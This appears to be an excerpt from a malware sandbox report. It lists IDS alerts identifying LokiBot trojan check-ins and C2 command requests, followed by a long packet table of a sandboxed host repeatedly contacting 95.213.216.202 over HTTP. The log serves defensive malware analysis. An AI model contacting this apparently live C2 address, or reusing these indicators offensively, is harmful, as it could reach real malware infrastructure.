192.168.2.395.213.216.20249715802021641 11/30/22-00:54:42.060768	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49715	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249712802825766 11/30/22-00:54:35.972913	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49712	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249753802825766 11/30/22-00:55:51.242717	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49753	80	192.168.2.3	95.213.216.202
192.168.2.38.8.8.854153532014169 11/30/22-00:55:51.152832	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	54153	53	192.168.2.3	8.8.8.8
192.168.2.395.213.216.20249754802025381 11/30/22-00:55:53.496270	TCP	2025381	ET TROJAN LokiBot Checkin	49754	80	192.168.2.3	95.213.216.202
192.168.2.395.213.216.20249727802024313 11/30/22-00:55:03.486766	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49727	80	192.168.2.3	95.213.216.202

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2022 00:54:07.252681971 CET	49699	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:07.317872047 CET	80	49699	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:07.318666935 CET	49699	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:07.324934006 CET	49699	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:07.390002012 CET	80	49699	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:07.390280008 CET	49699	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:07.454189062 CET	80	49699	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:08.932713032 CET	80	49699	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:08.932929993 CET	49699	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:08.932929993 CET	49699	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:08.997078896 CET	80	49699	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:09.427567959 CET	49700	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:09.484437943 CET	80	49700	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:09.484872103 CET	49700	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:09.487690926 CET	49700	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:09.545456886 CET	80	49700	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:09.545732975 CET	49700	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:09.602526903 CET	80	49700	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:11.058943987 CET	80	49700	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:11.059271097 CET	49700	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:11.251259089 CET	49700	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:11.308391094 CET	80	49700	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:12.515145063 CET	49701	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:12.578533888 CET	80	49701	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:12.578650951 CET	49701	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:12.581435919 CET	49701	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:12.644690037 CET	80	49701	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:12.644942999 CET	49701	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:12.708281040 CET	80	49701	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:14.085145950 CET	80	49701	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:14.085324049 CET	49701	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:14.085324049 CET	49701	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:14.148653984 CET	80	49701	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:14.796390057 CET	49702	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:14.863887072 CET	80	49702	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:14.864324093 CET	49702	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:14.871390104 CET	49702	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:14.938833952 CET	80	49702	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:14.939245939 CET	49702	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:15.006510973 CET	80	49702	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:16.469088078 CET	80	49702	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:16.469213009 CET	49702	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:16.469305038 CET	49702	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:16.536587954 CET	80	49702	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:16.901004076 CET	49703	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:16.957978010 CET	80	49703	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:16.958115101 CET	49703	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:16.960834026 CET	49703	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:17.017646074 CET	80	49703	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:17.017842054 CET	49703	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:17.074562073 CET	80	49703	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:18.541620016 CET	80	49703	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:18.541914940 CET	49703	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:18.541914940 CET	49703	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:18.598728895 CET	80	49703	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:18.898685932 CET	49704	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:18.963310003 CET	80	49704	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:18.963515997 CET	49704	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:18.966131926 CET	49704	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:19.030903101 CET	80	49704	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:19.031228065 CET	49704	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:19.095748901 CET	80	49704	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:19.714504957 CET	80	49704	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:19.714649916 CET	49704	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:19.722553015 CET	49704	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:19.787149906 CET	80	49704	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:20.097837925 CET	49705	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:20.161624908 CET	80	49705	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:20.161886930 CET	49705	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:20.168790102 CET	49705	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:20.232583046 CET	80	49705	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:20.232693911 CET	49705	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:20.296284914 CET	80	49705	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:21.783216000 CET	80	49705	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:21.783595085 CET	49705	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:21.783595085 CET	49705	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:21.847395897 CET	80	49705	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:22.417725086 CET	49706	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:22.481591940 CET	80	49706	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:22.481817961 CET	49706	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:22.484255075 CET	49706	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:22.547919989 CET	80	49706	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:22.548185110 CET	49706	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:22.611813068 CET	80	49706	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:24.053488970 CET	80	49706	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:24.053700924 CET	49706	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:24.053700924 CET	49706	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:24.117465019 CET	80	49706	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:24.644469023 CET	49707	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:24.708810091 CET	80	49707	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:24.709328890 CET	49707	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:24.716723919 CET	49707	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:24.780909061 CET	80	49707	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:24.781121969 CET	49707	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:24.845062971 CET	80	49707	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:26.372322083 CET	80	49707	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:26.372553110 CET	49707	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:26.372901917 CET	49707	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:26.436924934 CET	80	49707	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:26.735404968 CET	49708	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:26.800751925 CET	80	49708	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:26.800952911 CET	49708	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:26.803652048 CET	49708	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:26.868796110 CET	80	49708	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:26.868957043 CET	49708	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:26.933984041 CET	80	49708	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:28.382638931 CET	80	49708	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:28.382777929 CET	49708	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:28.382778883 CET	49708	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:28.448436022 CET	80	49708	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:29.066101074 CET	49709	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:29.122601986 CET	80	49709	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:29.122786045 CET	49709	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:29.164231062 CET	49709	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:29.220624924 CET	80	49709	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:29.220927000 CET	49709	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:29.277586937 CET	80	49709	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:30.691042900 CET	80	49709	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:30.691278934 CET	49709	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:30.691428900 CET	49709	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:30.747807980 CET	80	49709	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:31.844077110 CET	49710	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:31.908207893 CET	80	49710	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:31.908368111 CET	49710	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:31.910937071 CET	49710	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:31.975022078 CET	80	49710	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:31.975130081 CET	49710	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:32.039067984 CET	80	49710	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:33.459515095 CET	80	49710	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:33.459865093 CET	49710	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:33.459933043 CET	49710	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:33.525604010 CET	80	49710	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:33.782614946 CET	49711	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:33.839637041 CET	80	49711	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:33.839822054 CET	49711	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:33.859061956 CET	49711	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:33.916126013 CET	80	49711	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:33.916356087 CET	49711	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:33.973261118 CET	80	49711	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:35.462241888 CET	80	49711	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:35.462493896 CET	49711	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:35.462584972 CET	49711	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:35.519414902 CET	80	49711	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:35.913698912 CET	49712	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:35.970079899 CET	80	49712	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:35.970185041 CET	49712	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:35.972913027 CET	49712	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:36.029299974 CET	80	49712	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:36.032005072 CET	49712	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:36.088288069 CET	80	49712	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:37.552263021 CET	80	49712	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:37.552381992 CET	49712	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:37.552381992 CET	49712	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:37.609476089 CET	80	49712	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:37.898960114 CET	49713	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:37.965244055 CET	80	49713	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:37.965348959 CET	49713	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:37.979212999 CET	49713	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:38.045309067 CET	80	49713	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:38.045681953 CET	49713	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:38.111735106 CET	80	49713	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:39.587399960 CET	80	49713	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:39.587636948 CET	49713	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:39.588252068 CET	49713	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:39.653244972 CET	80	49713	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:39.909919024 CET	49714	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:39.974522114 CET	80	49714	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:39.974756002 CET	49714	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:39.977727890 CET	49714	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:40.042501926 CET	80	49714	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:40.042785883 CET	49714	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:40.107534885 CET	80	49714	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:41.602416039 CET	80	49714	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:41.604454994 CET	49714	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:41.604455948 CET	49714	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:41.669280052 CET	80	49714	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:41.998399973 CET	49715	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:42.055399895 CET	80	49715	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:42.056597948 CET	49715	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:42.060767889 CET	49715	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:42.117670059 CET	80	49715	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:42.120702982 CET	49715	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:42.177629948 CET	80	49715	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:43.541337013 CET	80	49715	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:43.541443110 CET	49715	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:43.541507006 CET	49715	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:43.598397970 CET	80	49715	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:43.769913912 CET	49716	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:43.826594114 CET	80	49716	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:43.826715946 CET	49716	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:43.829219103 CET	49716	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:43.885807037 CET	80	49716	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:43.885901928 CET	49716	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:43.942477942 CET	80	49716	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:45.204539061 CET	80	49716	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:45.204745054 CET	49716	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:45.204745054 CET	49716	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:45.261375904 CET	80	49716	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:45.480798960 CET	49717	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:45.537395954 CET	80	49717	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:45.537679911 CET	49717	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:45.540558100 CET	49717	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:45.597280979 CET	80	49717	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:45.597480059 CET	49717	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:45.654186964 CET	80	49717	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:47.032787085 CET	80	49717	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:47.032946110 CET	49717	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:47.058496952 CET	49717	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:47.115341902 CET	80	49717	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:47.489988089 CET	49718	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:47.553695917 CET	80	49718	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:47.553802013 CET	49718	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:47.592006922 CET	49718	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:47.655783892 CET	80	49718	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:47.657054901 CET	49718	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:47.720890045 CET	80	49718	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:49.052315950 CET	80	49718	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:49.052567005 CET	49718	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:49.052567959 CET	49718	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:49.116251945 CET	80	49718	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:49.560311079 CET	49719	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:49.624638081 CET	80	49719	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:49.624974012 CET	49719	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:49.641508102 CET	49719	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:49.705724955 CET	80	49719	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:49.705965042 CET	49719	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:49.772209883 CET	80	49719	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:51.280994892 CET	80	49719	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:51.281199932 CET	49719	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:51.281199932 CET	49719	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:51.345415115 CET	80	49719	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:51.548526049 CET	49720	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:51.605362892 CET	80	49720	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:51.605673075 CET	49720	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:51.608520985 CET	49720	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:51.665606022 CET	80	49720	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:51.668618917 CET	49720	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:51.725402117 CET	80	49720	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:53.259308100 CET	80	49720	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:53.259599924 CET	49720	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:53.260018110 CET	49720	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:53.316739082 CET	80	49720	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:53.497282982 CET	49721	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:53.561186075 CET	80	49721	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:53.561407089 CET	49721	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:53.572062016 CET	49721	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:53.635884047 CET	80	49721	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:53.635982037 CET	49721	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:53.699680090 CET	80	49721	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:54.418787003 CET	80	49721	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:54.419008017 CET	49721	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:54.419059038 CET	49721	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:54.482815981 CET	80	49721	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:54.670505047 CET	49722	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:54.727052927 CET	80	49722	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:54.729609966 CET	49722	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:54.732178926 CET	49722	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:54.788742065 CET	80	49722	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:54.789618969 CET	49722	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:54.845973015 CET	80	49722	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:56.166551113 CET	80	49722	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:56.166851044 CET	49722	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:56.167161942 CET	49722	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:56.223620892 CET	80	49722	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:56.396608114 CET	49723	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:56.460263014 CET	80	49723	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:56.460342884 CET	49723	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:56.463103056 CET	49723	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:56.526700020 CET	80	49723	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:56.526835918 CET	49723	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:56.590533972 CET	80	49723	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:57.894669056 CET	80	49723	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:57.895031929 CET	49723	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:57.895031929 CET	49723	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:57.958792925 CET	80	49723	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:58.125056028 CET	49724	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:58.181525946 CET	80	49724	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:58.181694031 CET	49724	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:58.184483051 CET	49724	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:58.240962029 CET	80	49724	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:58.242203951 CET	49724	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:58.298794031 CET	80	49724	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:59.594971895 CET	80	49724	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:59.595192909 CET	49724	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:59.597685099 CET	49724	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:59.654140949 CET	80	49724	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:59.862596035 CET	49725	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:59.927382946 CET	80	49725	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:59.927499056 CET	49725	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:59.930840969 CET	49725	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:54:59.996124983 CET	80	49725	95.213.216.202	192.168.2.3
Nov 30, 2022 00:54:59.996385098 CET	49725	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:00.061088085 CET	80	49725	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:01.390775919 CET	80	49725	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:01.390856981 CET	49725	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:01.390960932 CET	49725	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:01.455671072 CET	80	49725	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:01.614711046 CET	49726	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:01.671113014 CET	80	49726	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:01.671252012 CET	49726	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:01.673862934 CET	49726	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:01.730237961 CET	80	49726	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:01.730465889 CET	49726	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:01.786848068 CET	80	49726	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:03.204140902 CET	80	49726	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:03.204266071 CET	49726	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:03.204340935 CET	49726	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:03.260652065 CET	80	49726	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:03.414943933 CET	49727	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:03.479100943 CET	80	49727	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:03.479541063 CET	49727	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:03.486766100 CET	49727	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:03.551842928 CET	80	49727	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:03.552114010 CET	49727	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:03.617244959 CET	80	49727	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:04.982566118 CET	80	49727	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:04.982990980 CET	49727	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:04.983076096 CET	49727	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:05.047188044 CET	80	49727	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:05.207638979 CET	49728	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:05.278845072 CET	80	49728	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:05.278989077 CET	49728	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:05.285201073 CET	49728	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:05.356693029 CET	80	49728	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:05.356775045 CET	49728	80	192.168.2.3	95.213.216.202
Nov 30, 2022 00:55:05.428106070 CET	80	49728	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:06.759571075 CET	80	49728	95.213.216.202	192.168.2.3
Nov 30, 2022 00:55:06.760262966 CET	49728	80	192.168.2.3	95.213.216.202
